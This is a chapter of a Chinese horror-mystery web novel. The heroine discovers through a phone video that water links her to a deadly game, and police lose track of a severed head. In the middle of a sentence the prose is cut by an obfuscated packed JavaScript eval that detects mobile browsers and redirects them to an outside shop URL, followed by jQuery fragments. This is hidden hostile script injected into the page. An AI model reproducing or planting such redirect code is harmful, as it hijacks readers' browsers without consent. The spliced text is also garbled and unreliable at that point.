22. 22
作品:《解谜玩家,速通凶案》 手机屏幕在她眼前模模糊糊。
从紧张中骤然放松,加上周身的热水放松,郁访枫感觉自己的上下眼皮不受控制的合拢。她强撑着把淋浴头拧到冷水,闭眼淋了一会,找回一点理智。
连续熬夜还是太伤身体了......
手机里的视频已经开始播放,熨衣板腿的声音叮呤咣啷响,郁访枫睁开眼,正好看见“自己”在以第一人称视角检查卫生间水龙头。
水龙头关得好好的。
“房间里的部分应该没什么问题,事情从男厕拖把池开始变得奇怪起来,前面可以快进。”郁访枫实在太困,心里盘算一番,打算先把重要部分看完。
视频此时跳转到她钻进浴缸,检查浴缸出水水龙头是否关紧。郁访枫按住进度条,向后拉动。
进度条上的小视窗闪着暖黄色的光,那是卫生间的浴霸。拖动两下,那视窗依旧闪着暖黄色的光,像是卡了。
“嗯?”
郁访枫疑惑。她以为是酒店WiFi不好,退出视频界面,切换回流量。
......不对,这是存在相册里的视频,怎么会因为网络问题卡住?
郁访枫切回相册。进度条在走,她等着自己爬出浴缸走出房间,但画面依旧固定着,只是随着时间轻轻晃动,视野降低,看样子是手机的主人在原地坐下了。
坐下了?
郁访枫愣住,以为自己脑袋还是不太清醒,揉揉眼,把进度条往回拉了一点。
没有变化。她在走进浴缸,检查完水龙头后没有离开,直接在原地坐下,视角随着进度条移动逐渐向下,最终定格在天花板。
她在浴缸里躺下了,正对着淋浴喷头,音响里传出均匀的呼吸声。
和她在一楼听见的前台呼吸声一模一样。
郁访枫蜷起腿,下意识往浴缸中间坐下,远离原本的位置。手机摄像头视角只有天花板,淋浴喷头和一双手,那双明显属于她自己的手不停在空中做出拧水龙头的动作,肢体扭曲,看起来像被什么看不见的东西牵引着。她还像一个木偶,每次掰动都会发出咔哒咔哒的声响。
——像打字音。
郁访枫突然反应过来,沈飞兰在她出门前已经写好了终稿。当时大家还没来得及给具体意见,要修改也是小修,怎么会发出那么匀称均匀的打字声?
“进浴缸后的一切都是一场梦?”这太荒谬了。郁访枫皱眉,捏了捏自己的胳膊——上面的疼痛不似作假。
进度条依旧在向前。郁访枫盯着“自己的手”默默计数,凭空捏过五个水龙头后,她的右手突然完全折叠,伸到后方,拧开了浴缸的淋浴喷头。
水流了出来,逐渐上涨,没过垂在胸口的手机。她看见自己双手无力地漂浮在水面,看见一小串气泡逆着水流往上——
——郁访枫猛地回头,关闭淋浴喷头,把自己身体用力往上一拔!
“呼——”
她大口呼吸着,水从头发滴落,顺着面部骨骼流经眼角,糊得眼前一片散着光的水色。水流从浴缸中涌出,掉在地上哗啦啦响。她穿着睡衣坐在浴缸中,双手撑住边缘,湿滑的浴缸壁不断把手往水里推,扑腾两下,郁访枫心一横,把水甩出浴缸,总算让自己脱离了水流。
她坐在卫生间的地上,周身全是水。郁访枫第一反应是万幸卫生间和外面有高低落差,水没涌出去,不然还得赔钱。
不对,现在不是想这个的时候。
她扶着水槽慢慢站起,看向对面的镜子。眼睛睁着,瞳孔涣散,头发被水压得紧贴头皮,不断往下滴水。而她的皮肤,不论是脖子,手腕,还是面部,全都泛着一种溺水后特有的青灰色。
“我还活着吗。”
郁访枫捏了捏自己的脸。被她掐住的那块地方缓慢变红,很好,看来她还是活人。
“......我需要梳理一下思路。”
郁访枫用浴巾简单包好头发,换了套干爽的衣服,躺到另一张空着的床上。她掏出手机,好在这玩意防水,用吹风机吹干应该问题不大。
等待期间,她梳理起了思路:“我从检查第二个水龙头起就没出过房间,直到我检查‘洗衣机’,误把水龙头打开,把整个人都泡进了水里......等等,现在是几点?”
她紧急看向一边的笔记本。时间凌晨两点五十八。
除开一开始没水干坐着和刚刚爬出水,处理头发的时间,她顶多在水下待了三分钟,难怪没有淹死。
“可怎么会只有三分钟?”她干了那么多事,体感上至少过去了半小时。
正好手机在此刻成功开机,她再次点开相册,意外发现视频还在,且前半部分就是自己刚刚看过的那些。
这就更奇怪了,如果把刚刚在水里的遭遇看做做梦,她怎么能在梦里看到现实中的视频呢?
郁访枫拉动进度条,顺着刚刚看过的部分继续。气泡上涌后,视频短暂黑屏几秒,突然再次有了画面。
昏暗的灯光下,颤动着运转的洗衣机内,几件小男孩的衣服上下浮动着。视频里的“她”关闭水龙头,站直身体,视频外的郁访枫抿住了嘴。
果然,周围只有这一台洗衣机,她不在洗衣房中,而是在应家的院子里。
和她的猜测略有出入,但大体上一致。
她在一个瞬间链接到了游戏,内外时间流动有差异。所以现实中的她憋气三分钟,游戏里的她却活动了半小时。只不过她以为这个“链接点”是从酒店出门后,实际上是她关洗衣机的那刻。、
这算什么,水是链接游戏和现实的媒介?
郁访枫抹了把脸,继续观看。视频中,洗衣机慢慢停下,露出半截泡得发白的肢体。那是小知。
这重现的是他死亡的那段历史?
视频里的她离开了洗衣房,径直走向应家洗手间,检查起了洗手间水龙头。郁访枫以为的拖把池在游戏里对应着淋浴房水龙头,此刻正在滴水,她走进蹲下,伸出手。
“不是血。”
郁访枫有些惊讶,这和她猜测的又不一样。
落入她掌心的是化成水一般的头发,让人想到混杂着黑毛的燕窝,粘稠湿润。警戒着,一只眼珠从龙头掉落,像软泥般混进手中的“水”里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308213|196751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,转动着,正对上了郁访枫的脸。
“应予行。”
视频外的郁访枫平静地叫出了她的名字。
从那之后,那颗眼睛一直粘在她的手心,时刻监视她的行动。郁访枫自以为的进男厕其实是客房卫生间,丢了一颗眼的应予行沉默地挂在天花板上,手臂垂落,被经过的郁访枫用力蹭过。
“......难怪那么疼。”
郁访枫嘟嘟囔囔。后面的内容虽然惊险,但和她想象得差不多,被追杀,逃出,抱着小知的脑袋——在自己拿到他后,手心的眼珠明显紧张起来,也不盯着她了,一直死死地看向脑袋的方向。
郁访枫冲回洗衣房,把脑袋投进了洗衣机。一团白雾突然从中升腾,在视频的最后,应予知和应予行的脸同时在空中浮现。
此后全是黑屏。
郁访枫沉默了几秒。点开手机摄像头,对准自己的手心。
一颗眼珠。
“......靠。”
她又举起手,对着周围拍了一圈,果不其然,在身侧找到了好奇观察笔记本电脑的两人。
见她把手机转过来,两人同时抬头,应予行瞥开独眼,应予知则弯了弯眼角,露出一个甜甜的笑。
郁访枫倒吸一口凉气。
......
沉默的车上,看守的警察昏昏欲睡。
他刚梦见儿童时代,母亲捏着擀面杖要打在差点在河里淹死的自己,急刹车带来的冲撞感瞬间打破他的梦。
男人惊醒,听见前面司机咒骂突然出现在地上的乱麻,说不知是哪户人家又在大路上晒作物了。他揉揉眼,从窗户探出脑袋。
“什么作物是黑色的?”他问道。
“谁知道,天黑看不清。”司机骂骂咧咧下车清理,“你们后面的别下来,看好饮水机!”
那看着不像作物,像头发......男人话还没说出口,被这一句话呛得回过神来,回忆起自己的职责,赶忙招呼车里人看饮水机。
“怎么了?”
后车的熊和泽下车询问情况。游月留在河溪镇查案,将证物运回警局的工作交给了他。司机赶忙解释是有东西缠住了车轮,但低头查看,又疑惑地哎出声。
“怎么没有?”
“晚上树枝的影子吧,看错了。”熊和泽没觉得有什么问题。他只是嘱托司机不要疲劳驾驶,累了就早点换班,就在这时,车上传来一声惊恐的尖叫:
“啊!”
“怎么了!”周围人瞬间警觉。
男人连滚带爬地从车上下来:“头,饮水机里的头不见了!”
熊和泽脸色一变:“什么!”
他两步上车,打着手电照向饮水机,身体一下松懈下来:“......这不是在吗!”
“啊。”
男人惊魂未定,凑过来一看——那东西居然真的在里面。
熊和泽结结实实骂了他两句:“不要天天一惊一乍!”转身回车,车队继续向前。
“难道真是我看错了?”男人挠挠头。
可他刚刚真的没看见脑袋。

